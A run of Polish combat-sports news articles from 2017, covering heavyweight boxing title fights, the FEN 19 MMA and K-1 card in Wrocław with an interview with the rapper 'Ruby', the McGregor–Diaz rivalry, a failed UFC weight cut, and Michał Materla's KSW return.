W styczniu 2015 roku Amerykanin wywalczył tytuł mistrza świata WBC pokonując na punkty Bermane Stiverne'a. Co ciekawe, to jedyna walka w karierze boksera pochodzącego z Alabamy, która zakończyła się werdyktem sędziów. Pozostałe 36 wygrał przed czasem. Dotychczas Wilder pięciokrotnie bronił pasa, posyłając na deski m.in. Artura Szpilkę. 4 listopada w Barclays Center 31-latek po raz szósty będzie bronił tytułu mistrzowskiego. Jego rywalem będzie potężny Luis Ortiz. 38-latek jeszcze nigdy nie przegrał na zawodowym ringu i stanie przed życiową szansą na zdobycie tytułu WBC. Kubańczyk podkreśla, że bije mocniej niż dotychczasowi rywale Wildera i ten powinien obawiać się starcia z nim. Oponenci zwracają jednak uwagę na wiek Ortiza i jego gabaryty, które wpływają negatywnie na jego motorykę.

Wilder przekonany jest o swojej wielkości i nie widzi nikogo mocniejszego od siebie. Chce pokonać Ortiza, a później przymierza się do starcia z innym czempionem wagi ciężkiej Anthony'm Joshuą. – Kiedy pokonam Ortiza, chcę walczyć z Joshuą – powiedział mistrz świata WBC. –  Wszyscy wiedzą, że chcę unifikacji. Zrobię wszystko, żeby osiągnąć ten cel. Teraz na mojej drodze stanie Ortiz, którego muszę pokonać, aby zbliżyć się do unifikacji. Później będę czekał na kolejnych. Pokonam Ortiza, Joshua zrobi swoje z Pulewem i wtedy musimy się spotkać – dodaje Deontay Wilder.

Co u innych ciężkich mistrzów?

Zanim do ringu wejdą Wilder i Ortiz, na arenie pojawi się Anthony Joshua. 27-letni czempion stanie do pierwszej obrony wywalczonych w kwietniowym starciu z Władimirem Kliczko tytułów. Do swojego dorobku (IBF) Joshua dołożył pasy IBO i WBA. 28 października zmierzy się z Kubratem Pulewem.

Z kolei mistrz świata wagi ciężkiej WBO Joseph Parker pokonał w minioną sobotę niejednogłośnie na punkty pokonał Hughie Fury'ego. W zgodnej opinii ekspertów postawa 25-latka z Nowej Zelandii rozczarowała.

KM

FEN 19: Wywiad z Rubym przed walką z Arabem!

Bartłomiej „Ruby” Brzeziński zadebiutuje w MMA 14 października podczas FEN 19 „Bitwa o Wrocław”. Jego rywalem będzie popularny „Arab”, czyli Gabriel Al-Sulwi. „Ruby” jest przekonany, że w stolicy Dolnego Śląska wygra i pojedynek nie potrwa pełnego dystansu trzech rund. – To nie będą szachy. Bardzo szybko wygram, chce go znokautować w pierwszej rundzie – grzmi Brzeziński.

Podczas Targów FIWE mówiłeś, że jesteś znakomicie przygotowany. Coś od tamtego czasu się zmieniło?

Ruby: Nic, absolutnie. Forma jest jeszcze lepsza, bo mam za sobą kilkanaście jednostek treningowych więcej. Jest dobrze, forma dopiero przychodzi.

Walki nie możesz się doczekać jak rozumiem.

R: Zdecydowanie. Przebieram nogami  pod stołem, bo chcę walczyć już dziś. Jestem gotowy, ale czas działa tylko na moją korzyść i na pewno za dwadzieścia parę dni będę jeszcze lepszy.

Na jakim ty jesteś etapie przygotowań? Zostały trzy tygodnie, więc około pięciu powinieneś mieć już za sobą. Tak się przyjęło – do walki zawodnicy przygotowują się około ośmiu tygodni.

R: Mam więcej, bo szybciej zacząłem trenować. Biegałem, robiłem ogólnorozwojówkę. W decydującą fazę przygotowań chciałem wejść już przygotowany fizycznie do sparingów i zajęć na macie. Nie chciałem przez pierwsze tygodnie dopiero przyzwyczajać organizmu do obciążeń.

Profesjonalnie.

R: Pełen profesjonalizm. Walczę zawodowo dopiero po raz pierwszy, ale wszystko robię tak, jak robią to zawodowcy. Nie wyjdę do klatki niegotowy. Będę przygotowany.

Pytanie, na ile starczy ci tlenu.

R: Na trzy rundy po pięć minut, bo na tyle zakontraktowana jest walka. Nie myśl sobie, że ja nie wiem, jaki jest pełen dystans pojedynku. Zgodziłem się na te reguły świadomie, wiedziałem, że trzy razy pięć to piętnaście. Będę przygotowany.

Stoczyłeś już sparingi na pełnym dystansie piętnastu minut?

R: Oczywiście, że tak. Wysiłek jest ogromny, ale dawałem radę. Nigdy nie miałem problemów z kondycją. Zawsze uprawiałem sport, a od kilku lat sztuki walki. Takie zmęczenie to dla mnie nie nowość.

Mówiłeś jednak, że ten pojedynek nie potrwa trzech rund. Sędziowie nie będą wam potrzebni.

R: Nie, bo wyjdę i go znokautuję. Chciałbym w pierwszej rundzie. Zobaczymy jednak jak będzie. „Arab” powie ci pewnie to samo – wyjdę i zniszczę go na samym początku. O to chodzi w tym sporcie, to ludzie kochają, za to płacą za bilety.

Wielokrotnie podkreślałeś, że klub, trener i koledzy bardzo pomagają ci w tych przygotowaniach.

R: Bo tak jest. Naprawdę, obojętnie co się stanie w klatce, to otaczam się profesjonalistami, którzy doskonale rozumieją MMA. Bez nich by mnie tu nie było.

Zwycięzca bierze pełną pulę i może szykować się do kolejnych walk, przegranego czeka porządny rachunek sumienia – zgodzisz się z tym?

R: Tak może być. Ja wygram i będę chciał dalej walczyć. Kręci mnie MMA, lubię trenować, adrenalinę, emocję. Widzę siebie w tym sporcie w kolejnych latach.

Jak przygotować się pod przeciwnika, który nigdy nie walczył?

R: Nie jest to łatwe, bo nie mogę włączyć Youtube’a i zobaczyć czterech jego ostatnich walk. To wielka niewiadoma, ale jestem przygotowany na naprawdę różne warianty. Niczym mnie „Arab” nie zaskoczy. Ważne będą pierwsze minuty. Po nich będę wiedział, co robić i jak go zaskoczyć.

Masz w głowie plan na tę walkę?

R: Już od bardzo, bardzo dawna. Wiem, jakbym chciał, żeby ona wyglądała. Wiesz co? Ona będzie tak wyglądała. Powiedzieć nic nie mogę, ale nikt nie będzie miał prawa czuć się zawiedziony. To będzie naprawdę mój dobry występ.

FEN 19: Gumienna kontra Waliczek na FEN 19!

Mamy to! Róża Gumienna (8-0) 14 października będzie broniła pasa mistrzowskiego FEN w kategorii do 65 kilogramów. Jej rywalką podczas „Bitwy o Wrocław” będzie Marta Waliczek (1-0-1). Starcie odbędzie się na zasadach K-1.

Gumienna wraca zatem do klatki FEN po dziewięciu miesiącach przerwy. 14 stycznia podczas 15. edycji, która odbyła się w Lubinie, zawodniczka Punchera Wrocław pewnie pokonała na pełnym dystansie Martinę Fendrichovą i została pierwszą w historii mistrzynią FEN w K-1. –  – Róża nie walczyła u nas od stycznia, to najwyższy czas, żeby to zmienić. Ona jest z Wrocławia, ma w swoim mieście fanów, którzy nie wybaczyliby nam, gdybyśmy pominęli ją w rozpisce walk na „Bitwę o Wrocław” – powiedział Paweł Jóźwiak, prezes FEN.

Marta Waliczek we Wrocławiu zadebiutuje w klatce FEN, ale w K-1 stoczy już swój trzeci pojedynek. Jak do tej pory na swoim koncie ma wygraną oraz remis. Waliczek to świeżo upieczona złota medalistka The World Games, które w lipcu tego roku odbyły się we Wrocławiu. Trenująca na co dzień w DAAS Berserkers Team Bielsko-Biała zawodniczka nie miała sobie równych w Kick-boxingu w kategorii do 61 kilogramów. W przeszłości Waliczek przez 10 lat trenowała karate, w którym została mistrzynią świata i zdobyła czarny pas.

Starcie zapowiada się o tyle imponująco, gdyż zmierzą się ze sobą dwie niezwykle utalentowane zawodniczki, które marzą o tym, by w przyszłości święcic wiele sukcesów pod szyldem federacji FEN.

Bilety  na FEN 19 „Bitwa o Wrocław” dostępne są na stronie www.fen-mma.com/bilet, Biletyna.pl, Eventim.pl, Kupbilet.pl.

Szykuje się trzecie starcie

Kto jest lepszy? To pytanie będą zadawali sobie wszyscy do czasu trzeciej walki Conora McGregora i Nate'a Diaza. Prawdopodobnie obaj spotkają się 30 grudnia w Las Vegas na gali UFC 219.

Wróble ćwierkają, że starcie Irlandczyka i Amerykanina stanowiłoby niezwykle smakowity kąsek. Dwaj wojownicy muszą w końcu rozstrzygnąć spór, który z nich jest lepszy.

Trylogia

5 marca 2016. W zasadzie przypadek sprawił, że McGregor spotkał się z Diazem w MGM Grand Garden Arenie. Dla Irlandczyka gala UFC 196 miała być wyjątkowa. McGregor chciał zaatakować drugi pas, miał w swoim posiadaniu tytuł mistrza wagi piórkowej. Jednak czempion kategorii lekkiej Rafael dos Anjos na ostatniej prostej doznał kontuzji stopy. Trwały gorączkowe poszukiwania zastępcy i wybór padł na Diaza, który otwarcie przyznawał, że chce starcia z Irlandczykiem. Amerykanin nie zdążył zrzucić wagi, więc odbyła się ona w limicie 77kg. McGregor trafił rywala, nie brakowało prostych i obrotówek. Mistrz wagi piórkowej UFC poczuł krew, a ta pojawiła się na twarzy Diaza. W końcu Amerykanin ruszył do natarcia, gdy McGregor nieco osłabł i mocnym lewym prostym zamroczył przeciwnika. W końcu walka znalazła się w parterze, gdzie Amerykanin udusił McGregora.

20 sierpnia 2016. Rewanż w T-Mobile Arenie pełen był zwrotów akcji. Początek dla Conora McGregora, który dwukrotnie powalił rywala na ziemię. Zakrwawiony Diaz w drugiej rundzie ruszył do przodu. Amerykanin również w kolejnej odsłonie nacierał, uderzał ciosami prostymi i sierpowymi. McGregor wydawał się bezradny, ale przetrwał. W kolejnych odsłonach zacięta walka, ale obu wojownikom wraz z upływającym czasem brakowało sił. Po pięciu rundach większościową decyzją wygrał Irlandczyk.

30 grudnia 2017? Nie ma się, co oszukiwać, że finał jest jak najbardziej pożądany. 30 grudnia w Las Vegas w końcu miłośnicy MMA mogliby przekonać się, kto jest lepszym fighterem. Tego starcia oczekują kibice, a między samymi zawodnikami zawsze wrzało. Zatem należy spodziewać się show, zaciętej walki i krwi, której w obu poprzednich walkach na twarzy Diaza nie brakowało.

Powrót po przygodzie bokserskiej

Ostatni pojedynek na zasadach MMA McGregor stoczył w listopadzie ubiegłego roku. Przed czasem pokonał Eddiego Alvareza. Później zdecydował się przebranżowić i spróbował swoich sił w boksie. Irlandczyk spotkał się w hitowej walce z Floydem Mayweatherem Jr., ale mimo ambitnej postawy przegrał.

Nate Diaz krytycznie ocenił bokserski występ McGregora. W ostatnim czasie Amerykanin otwarcie mówił, że czuje się odstawiony przez UFC na boczny tor. Na początku roku otrzymał propozycję kolejnej walki, ale nie był nią usatysfakcjonowany.

Teraz pozostaje tylko czekać aż obie strony powiedzą „tak” i starcie zostanie oficjalnie potwierdzone. 

KM

Fatalny efekt zbijania wagi

Mizuto Hirota słaniał się na nogach, omal nie przewrócił się podczas ważenia przed galą UFC Fight Night 117. W związku z tym 36-latek nie zaprezentuje się w Saitamie.

Gala w Japonii już za kilka godzin, jednak na ostatniej prostej wypadł z niej Mizuto Hirota. Ci, którzy z bliska obserwowali ważenie przed galą UFC Fight Night 117 z pewnością na chwilę wstrzymali oddech.

Skrajnie wyczerpany

36-latek miał spotkać się w Saitamie z Charlesem Rosą. Gdy Japończyk wychodził na ceremonię ważenia widać było, że coś jest nie tak. Mizuto Hirota dosłownie słaniał się na nogach. Chwiejnym krokiem doszedł do wagi, ale omal z niej nie spadł. Gdyby nie pomoc mężczyzn stojących obok, Japończyk mógłby się nieco poturbować.

Nie jest tajemnicą, że zawodnicy w cyklu przygotowawczym przed walką robią wszystko, aby zmieścić się w limicie wagowym. Stosują najróżniejsze metody. Począwszy od głodzenia poprzez wygrzewanie się w wysokich temperaturach. Mizuto Hirota chciał zrobić wszystko, aby zmieścić się w limicie kategorii piórkowej i wystąpić na gali w ojczystym kraju. Jednak stan fizyczny zawodnika pozostawiał wiele do życzenia. Podczas ważenia Japończyk był osłabiony i opuszczał pomieszczenie przy wsparciu osób trzecich. 

W takiej sytuacji władze UFC nie mogły sobie pozwolić na ryzyko. Decyzja była jednoznaczna – Mizuto Hirota nie wystąpi na gali w Saitamie. Warto dodać, że mimo podjętego wysiłku i wycieńczenia – 36-latek nie zmieścił się w limicie wagowym. Hirota przekroczył granicę o blisko dwa kilogramy.

Hirota debiutował w UFC ponad cztery lata temu. Jednak nie będzie tego występu wspominał miło, gdyż przegrał z Ranim Yahyą. Dopiero w czwartym starciu w amerykańskiej organizacji zanotował zwycięstwo. Dotychczas Hirota stoczył w UFC pięć walk, z których trzech zakończyły się jego porażkami. Zanotował również remis i zwycięstwo.

Rywalki Jędrzejczyk spotkają się w Japonii

Podczas gali w Saitamie dojdzie do ciekawego pojedynku w kategorii słomkowej. Krok w stronę kolejnej walki o pas będą chciały zrobić Claudia Gadelha i Jessica Andrade. Obie rywalizowały już z Joanną Jędrzejczyk, jednak musiały obejść się smakiem.

W Japonii debiut w UFC zaliczy legendarny kickboxer Gokhan Saki. Blisko 34-letni zawodnik może pochwalić się tytułem mistrzowskim Glory w wadze półciężkiej, który wywalczył w 2014 roku. Zdobywał również tytuły czempiona Europy i świata muay thai. Saki zmierzy się z Henrique da Silvą, który przegrał trzy ostatnie walki w UFC.

W walce wieczoru zaprezentują się Ovince St. Preux i Yushin Okami.

Fot. ufc.com

KM

Materla wystąpi w Dublinie

Były mistrz wagi średniej KSW Michał Materla wraca do rywalizacji. 33-letni szczecinian wystąpi na gali w Dublinie, która odbędzie się 22 października.

Dyspozycja Materli pozostaje zagadką, bo przez osiem miesięcy zawodnik MMA przebywał w areszcie tymczasowym w związku z podejrzeniem o udział w zorganizowanej grupie przestępczej.

Rok przerwy

Ostatni pojedynek Michał Materla stoczył blisko rok temu. Podczas gali KSW 36 w Zielonej Górze efektownie znokautował Rousimara Palharesa i odniósł 24 zwycięstwo w karierze. Chwila euforii i pokaz siły oraz jasny sygnał, że zawodnika Berserkers Team stać na rywalizację na najwyższym poziomie. 

Jednak w grudniu ubiegłego roku kariera Materli została przerwana. Fighter został zatrzymany przez funkcjonariuszy Centralnego Biura Śledczego i trafił do więzienia. Materla miał działać w zorganizowanej grupie przestępczej, której obszarem zainteresowań była multiprzestępczość, a przede wszystkim przemyt kokainy z Aruny czy handel tytoniem. Były mistrz KSW nie przyznawał się do winy. Miał opuścić areszt w marcu, ale poznańska prokuratura złożyła wniosek o jego przedłużenie. Dopiero po ośmiu miesiącach, w lipcu, Materla wyszedł na wolność. 

Teraz Materla będzie jednym z głównych aktorów wielkiego sportowego widowiska. Jeszcze kilka tygodni temu mówiło się, że istnieje szansa występu 33-latka na gali UFC w Gdańsku. Rozmowy trwały, Polak miał być rywalem Thiago Santosa, ale do porozumienia nie doszło. Materla wystąpi na gali organizacji, w której świętował największe sukcesy. 22 października zaprezentuje się na KSW 40 w Dublinie. – Cieszę się, że po latach doczekałem czasów, w których nasi czołowi i kluczowi zawodnicy odrzucają ofertę UFC i wybierają KSW. I nie chodzi tu tylko o lojalność, czy jakieś przywiązanie emocjonalne, ale również o to, że opłaca się to im biznesowo. Nie mniej jednak emocjonalnie mówię ::: DZIĘKUJĘ! Michał Materla oficjalnie na KSW w Dublinie. Jak myślicie, kto zmierzy się w klatce z legendą polskiego mma? – napisał na swoim Facebook Martin Lewandowski, współwłaściciel KSW.

Karta pełna dziur

Gala w Dublinie coraz bliżej a KSW nadal buduje napięcie. W karcie walk nadal jest wiele pustych miejsc. Wiadomo, że w Dublinie o trzecie zwycięstwo z rzędu powalczy Mariusz Pudzianowski. Rywalem byłego mistrza strongmanów będzie James McSweeney, który ma dwie walki w KSW. 36-latek pokonał Marcina Różalskiego, ale przegrał z Karolem Bedorfem.

Pasa w wadze muszej kobiet będzie broniła Ariane Lipski, która czeka na nazwisko rywalki. Do trzeciej obrony tytułu w wadze lekkiej przystąpi Mateusz Gamrot. Polak ponownie zmierzy się z Normanem Parke'iem, którego pokonał w Warszawie. Na przeciwników czekają Anzor Azhiev, Chris Fields, Maciej Jewtuszko. Na początek emocji w Dublinie zmierzą się Konrad Iwanowski i Paul Lawrence.

KM

KSW zarzuciło wędkę na bokserów?

Spotkanie współwłaściciela KSW Martina Lewandowskiego z Arturem Szpilką wywołało falę komentarzy. Teraz na pierwszym planie znalazł się Tomasz Adamek, który otrzymał propozycję od  organizacji.

Jeżeli o czymś się nie mówi, tego nie ma. Dlatego KSW robi wszystko, aby o organizacji cały czas było głośno. Mariusz Pudzianowski, Robert Burneika, Damian Janikowski, Popek, Tomasz Oświeciński – to nazwiska, które miały przyciągnąć kibiców. Teraz w orbicie zainteresowań KSW znaleźli się znani bokserzy.

Szpilka prostuje

Po porażce z Adamem Kownackim, Artur Szpilka wycofał się, musiał mieć czas dla siebie. „Szpila” przegrał w czwartej rundzie i jego kariera znalazła się w trudnym położeniu. Pojawiła się propozycja ze strony Marcina Najmana, aby obaj spotkali się w ringu. Były pretendent do tytułu mistrza świata wagi ciężkiej WBC nie przejawiał zainteresowania propozycją.

W sierpniu Artur Szpilka spotkał się ze współwłaścicielem KSW Martinem Lewandowskim. Panowie wspólnie zjedli obiad, a w sieci pojawiło się zdjęcie z rozmowy. Od razu ruszyła fala spekulacji na temat występu Szpilki w KSW. Mateusz Borek, dziennikarz sportowy i promotor boksu, napisał w mediach społecznościowych, że pięściarz z Wieliczki podjął rozmowy z federacją. Szpilka nie potwierdził tych doniesień. Odpowiedział na Twitterze Borkowi. – Pier… Matt strasznie. Jakie ustalenia? Jedyne ustalenia, jakie padły, to takie, że jeżeli będę walczył w MMA to tylko w KSW. Weźcie się do roboty. Wkurza mnie, że każdy wie lepiej ode mnie, co będę robił – napisał Szpilka.

Co z Adamkiem?

Propozycję od KSW otrzymał również Tomasz Adamek. Jednak obecnie były mistrz świata WBC w kategorii półciężkiej zamierza skupić się na kolejnych występach w ringu. W ostatnim starciu, wrócił po ponad roku, „Góral” pokonał Solomona Haumono i zanotował 51 zwycięstwo w karierze.

Tomasz Adamek nadal czuje głód boksu. Jeśli miałby wystąpić w KSW, to raczej nie w pojedynku na zasadach MMA. Możliwa byłaby walka na wzór tej, którą stoczyli Floyd Mayweather Jr. i Conor McGregor.

KSW spełnia potrzeby

Martin Lewandowski i Maciej Kawulski stworzyli markę KSW od podstaw. W ich działaniu widać konsekwencję w realizowaniu opracowanej koncepcji. Każde kolejne wydarzenie przygotowują z rozmachem, ale nie mogą pozwolić sobie na bierność. Bo show itd….

Poziom sportowy to jedno, ale pod względem komercyjnym – istotna jest rozrywka. Znane nazwiska budzą ciekawość i przyciągają masy do śledzenia widowiska. Ostatnie zestawienia walk m.in. Pudzianowski – Popek czy Burneika – Popek pokazały, że władze KSW „mają nosa”. Przede wszystkim chodzi o realizowanie planu na widowisko idealne. A takie potrzebuje magnesu, najlepiej kilku.

KM

FEN 19 "Bitwa o Wrocław"!

Kolejnym przystankiem Fight Exclusive Night będzie Wrocław, a 19. edycja gali, która nosi nazwę „Bitwa o Wrocław” odbędzie się 14 października w Hali Orbita. Na ten moment znamy dwa zestawienia, ale włodarze federacji zapewniają, że mają przygotowaną najmocniejszą kartę walk w historii.

Pierwszy raz podczas gali FEN odbędzie się „Freak Fight”. Obaj wojownicy, których występ już dziś budzi ogromne zainteresowanie, to na co dzień trenujący zawodnicy, dla których występ w MMA jest spełnieniem sportowych marzeń.

– „Arab” i „Ruby” staną naprzeciwko siebie w oktagonie podczas październikowej gali, która odbędzie się we Wrocławiu. Nasi kibice domagali się na Freak Fight’u, więc spełniamy  ich życzenia. Raperzy zmierzą się w kategorii do 77 kg. Co ważne – obaj nieźle radzą sobie w klatce. Trenują, cały czas podnoszą swoje umiejętności, można powiedzieć, że są sportowcami, którzy debiutują w MMA. To nie osoby, które wyjdą do klatki bez przygotowania – zapewnia Paweł Jóźwiak, prezes FEN.

Gabriel Al-Sulwi, czyli artysta znany pod pseudonimem „Arab” to 24-latek pochodzący z Rzeszowa, któremu MMA pozwoliło wyjść w życiu „na prostą”. Sam wokalista wielokrotnie powtarzał, że był uzależniony od marihuany, a dzięki walkom nawrócił się i teraz jest lepszym człowiekiem.

Bartłomiej Brzeziński, czyli „Ruby” kojarzony jest przez wiele osób z zespołem „Ganja Mafia”. Od dłuższego czasu można obserwować na jego facebook’owym profilu, jak trenuje i spędza każdą wolną chwilę podnosząc swoje umiejętności w mieszanych sztukach walki.

Drugim pojedynkiem, który odbędzie się we Wrocławiu jest starcie pomiędzy Pawłem Biszczakiem (24-3) z Wojciechem Wierzbickim (13-3). Będzie to rewanż za pojedynek ze stycznia 2017 roku, kiedy to w Lubinie lepszy okazał się Biszczak. Pojedynek odbędzie się w formule K-1, a jego stawką będzie pas mistrzowski FEN w kategorii do 77 kg.

Ponadto włodarze FEN pracują nad zorganizowaniem pojedynku Marcina Sianosa z Tomasem Pakutinskasem w wadze ciężkiej. Po ostatnim efektownym zwycięstwie Sianosa w Koszalinie w internecie pojawiło się ogromne zainteresowanie starciem polsko-litewskim, a Paweł Jóźwiak zapewnia, że zrobi wszystko, aby obaj dżentelmeni mogli się ze sobą zmierzyć już podczas FEN 19.

Podczas Fight Exclusive Night zobaczymy aż 10 pojedynków – 7 w formule MMA i 3 w K-1. Będą powroty, będą walki o pasy mistrzowskie oraz spektakularne rewanże. Wszystko przy wrocławskiej publiczności, która już po raz siódmy będzie miała przyjemność zobaczenia na żywo europejską czołówkę wojowników w akcji.

Sprzedaż biletów na to wydarzenie rozpocznie się w piątek, 18 sierpnia, o godzinie 12:00 na stronie www.fen-mma.com/bilet/ oraz na stronach zaprzyjaźnionych bileterni.

Biszczak VS Wierzbicki II na FEN 19

W końcu! Najbardziej wyczekiwany rewanż w Polsce dojdzie do skutku. Mowa oczywiście o pojedynku w formule K-1 pomiędzy Pawłem Biszczakiem(24-3) a Wojciechem Wierzbickim (13-3). Obaj wojownicy zmierzą się ze sobą w walce wieczoru na Fight Exclusive Night 19 we Wrocławiu 14 października.

W styczniu 2017 roku Biszczak z Wierzbickim spotkali się w klatkoringu po raz pierwszy i wtedy posiadaczem pasa mistrzowskiego organizacji był Wierzbicki, w którym wielu ekspertów upatrywało faworyta starcia. Po pięciorundowym zaciętym boju, to jednak Biszczak zwyciężył przez niejednogłośną decyzję sędziów. Arbitrzy mieli spore wątpliwości, komu należy przyznać wygraną, gdyż emocji, kopnięć, mocnych ciosów na szczękę oraz zwrotów akcji było co nie miara. Komentujący te starcie Łukasz „Juras” Jurkowski nie miał wątpliwości – to był spektakl w najczystszej postaci.

Dużo mówiło się w środowisku MMA w Polsce o ewentualnym rewanżu obu panów, a włodarze FEN stwierdzili ostatecznie, że to należy się kibicom w naszym kraju. Podczas treningu medialnego zapowiadającego FEN 18 Paweł Jóźwiak, prezes federacji, zaprosił Wojciecha Wierzbickiego na scenę i zapytał przy zgromadzonych na rynku Staromiejskim w Koszalinie kibiców, co oni sądzą o ewentualnym rewanżu. Po aplauzie fanów i deklaracji byłego czempiona, że chce powtórnego starcia, Jóźwiakowi nie pozostało nic więcej, jak tylko kilka dni później oficjalnie ogłosić, że pojedynek Biszczaka z Wierzbickim będzie walką wieczoru podczas FEN 19 „Bitwa o Wrocław”.

Co jest najlepsze w tej walce? To, że w niej tym razem nie będzie faworyta. Stary mistrz zrobi wszystko, żeby pas wrócił do niego. Nowy czempion nie pozwoli sobie odebrać trofeum, które wywalczył z wielkim trudem.

Wrocław jest przyzwyczajony do roli gospodarza wielkich gal Fight Exclusive Night. Październikowe wydarzenie będzie już siódmym zorganizowanym przez federację. Tym razem zestawienie karty walk ma być najlepsze w czteroletniej historii federacji. Zobaczymy aż 10 pojedynków, z czego 7 odbędzie się w MMA. Pozostałe 3 będą to już formuła K-1, co samo w sobie generuje znakomite emocje. W akcji zobaczymy wielu byłych i – kto wie – być może przyszłych mistrzów federacji, którzy w stolicy Dolnego Śląska tłumnie zasiądą w Hali Orbita i będą z zapartym tchem oklaskiwać współczesnych gladiatorów.

Nowe twarze w FEN!

Potwierdzamy! Poznaliśmy nowych zawodników, którzy zasilą szeregi federacji Fight Exclusive Night! Trzy nowe twarze będzie można oglądać podczas kolejnych edycji!

Zacznijmy od kobiety, bo FEN nigdy nie zapomina o płci pięknej. Mowa o Barbarze Nalepce, która będzie walczyła w MMA i rywalizowała w kategorii do 56 kg. Pseudonim „Shogun” mówi sam za siebie – Basia to zwariowana dziewczyna, która w oktagonie ma zamiar pokazać swoje prawdziwe oblicze. Prywatnie bardzo ciepła i wrażliwa dziewczyna, którą interesuje cały świat. Jako nowa zawodniczka walcząca dla Fight Exclusive Night ma ożywić swoją kategorię wagową wśród kobiet.

Karol Kruzel to nowy zawodnik walczący w formule K-1 w kategorii do 70 kg. Urodził się w Lęborku, ale duży fragment swojej kariery był związany z gdańskim klubem „Duet”. W swoim dorobku ma brązowy medal Pucharu Europy z kickboxingu low kick oraz jest dwukrotnym wicemistrzem Polski w kickboxingu light contact. W przeszłości był już wiązany z federacją FEN i miał wystąpić podczas 13. edycji gali „Summer Edition”, która odbyła się w Gdyni. Zestawiono go z Jakubem Rajewskim, ale ostatecznie Kruzel doznał kontuzji i musiał wycofać się z walki. Teraz wszystko wskazuje na to, że będzie mógł zadebiutować w barwach federacji podczas jednej z najbliższych gal.

Krzysztof Kottas to zawodnik trenujący w klubie UKS Gladius Trzebnica. Będzie rywalizował w formule K-1 w kategorii do 70 kg. Dzięki dobrej postawie na „Summer Camp” zapracował sobie na zawodowy kontrakt w Fight Exclusive Night, a Paweł Jóźwiak, czyli prezes federacji, wiąże z nim spore nadzieje. – Moim zdaniem to chłopak, który może sporo namieszać w swojej kategorii wagowej. Mamy mocnych zawodników w K-1, ale cały czas myślimy o kolejnych ciekawych postaciach, które pozwolą nam się rozwinąć. Kottas ma papiery na mistrza. Naprawdę, widziałem jego podejście do sportu – ma zadatki na wysokiej klasy wojownika – przyznał.

Fight Exclusive Night obserwuje również Hubera Szymajdę, który póki co kontraktu od federacji nie otrzymał, ale który być może wkrótce dołączyć do organizacji.

Fight Exclusive Night ma przygotowaną jeszcze jedną niespodziankę. Informacja na ten temat zostanie podana jeszcze w tym tygodniu. Bądźcie czujni.

Magdalena Rak nową zawodniczką FEN!

Miło nam wszystkich poinformować, że nową zawodniczką federacji Fight Exclusive Night została Magdalena Rak. 25-latka trenująca na co dzień w Octagon Team Kraków & Akademia Fenix będzie walczyła w MMA w kategorii do 56 kilogramów.

Magda urodziła się w Proszowicach, choć od dłuższego czasu mieszka w stolicy Małopolski. Ma 171 centymetrów wzrostu, a najchętniej stosowaną techniką w czasie pojedynku jest low kick. Łącznie, wliczając walki amatorskie i zawodowe, stoczyła 52 pojedynki, z czego 45 wygrała. Pięciokrotnie zwyciężyła przez nokaut.

W swoim dorobku ma wiele sukcesów. Może pochwalić się między innymi złotym medalem podczas amatorskich mistrzostw świata IFMA w Muay Thai w roku 2009 w Bangkoku oraz złotym krążkiem w K-1 podczas WAKO Cup w 2015 roku w Pradze. Wcześniej, w 2012 roku, została brązową medalistką mistrzostw świata amatorów w Muay Thai w Saint Petersburgu oraz mistrzynią Polski również w tajskiej odmianie boksu.

Za swoją najlepszą walkę w karierze uznaje tą z 2012 roku, kiedy to pokonała Caley Reece w Bangkoku. Magda inspiruje się karierą Joanny Jędrzejczyk, a sama mistrzyni świata UFC zapytana przez Fight Exclusive Night o opinię na temat swojej młodszej koleżanki po fachu bez chwili zawahania przyznała, że widzi w niej ogromny potencjał. Rak na temat swojej przyszłości w FEN uważa, że to dla niej spora szansa na rozwinięcie zawodowej kariery, a marzenia sięgają pasa mistrzowskiego w kategorii słomkowej.

Co na temat Magdaleny Rak uważa Paweł Jóźwiak, prezes federacji? – Moim zdaniem to jest przyszłość polskiego MMA. Rozmawiałem z Asią Jędrzejczyk, ona jest zachwycona Magdą. Ma dopiero 25 lat, a już ponad 50 stoczonych walk i sporo sukcesów na koncie. Jest już doświadczona, a cały czas głodna kolejnych triumfów. To młodsza Jędrzejczyk – naprawdę, wszyscy kibice mieszanych sztuk walki w naszym kraju mają obowiązek zapamiętania tego nazwiska. O tej dziewczynie będzie głośno za kilka lat na całym świecie – komplementował Magdę Jóźwiak.

W ciągu najbliższych tygodni dowiemy się, kiedy Rak zadebiutuje w oktagonie FEN. Nie wykluczone, że trenującą w Krakowie zawodniczkę zobaczymy już podczas edycji numer 19 we Wrocławiu, 14 października.

 

Bilety  na FEN 19 "Bitwa o Wrocław" dostępne są na stronie www.fen-mma.com/bilet/, Biletyna.pl, Eventim.pl, Kupbilet.pl

Leśko VS Brandys na FEN 19!

Fight Exclusive Night odsłoniło przed państwem trzecią z dziesięciu kart przed 19. edycję gali, która odbędzie się we Wrocławiu. O podbój stolicy Dolnego Śląska powalczą Bartosz Leśko (5-0, 2 KO, 3 SUB) z Pawłem Brandysem (6-4, 3 KO, 2 SUB). Pojedynek na zasadach MMA odbędzie się w kategorii do 84 kilogramów.

Dla obu panów będzie to drugie starcie pod szyldem FEN. Lepsze wspomnienia z federacją ma Leśko, który podczas „Baltic Storm”, czyli 17. edycji, która odbyła się w Gdyni w maju tego roku, pokonał przed czasem Aleksandera Rychlika. Leśko poddał swojego rywala w drugiej rundzie, czym skradł serca trójmiejskiej publiczności. Tamto zwycięstwo było dla niego o tyle cenne, gdyż zostało odniesione przed własną publicznością. Jeden z bohaterów FEN 19 trenuje na co dzień w słynnym gdyńskim klubie „Mad Dogs”. Wszystkie pięć zwycięskich pojedynków odniesionych przed czasem są gwarancją niesamowitego widowiska.

Brandys jest bardziej doświadczony i ma na swoim koncie 10 stoczonych walk, z czego aż sześć z nich zwycieżył. Na uwagę zasługuje fakt, że aż pięć wygrał przed czasem – trzy przez nokaut, dwie przez poddanie. Jeszcze nie pod szyldem FEN mierzył się ze starym-dobrym znajomym wszystkich kibiców federacji, czyli Marcinem Naruszczką. W pierwszej walce był remis, w rewanżu to Naruszczka okazał się minimalnie lepszy i wygrał na punkty.

Dla Brandysa będzie to drugi występ podczas gali FEN. Do walki tej podejdzie w dobrym humorze, gdyż w maju tego roku pokonał Denisa Vygovskiego przez nokaut już w pierwszej rundzie. Zapowiada się emocjonujące starcie, które prawdopodobnie nie potrwa pełnego dystansu. To oznacza jedno – będzie się działo.

– Obiecywałem wielkie grzmoty i tak będzie we Wrocławiu. Leśko i Brandys z 11 wygranych wspólnie pojedynków aż 10 zakończyli przed czasem. Czy coś więcej muszę dodawać, żeby przekonywać o wyjątkowości tego starcia? Chyba nie – powiedział pewny siebie prezes FEN, Paweł Jóźwiak.

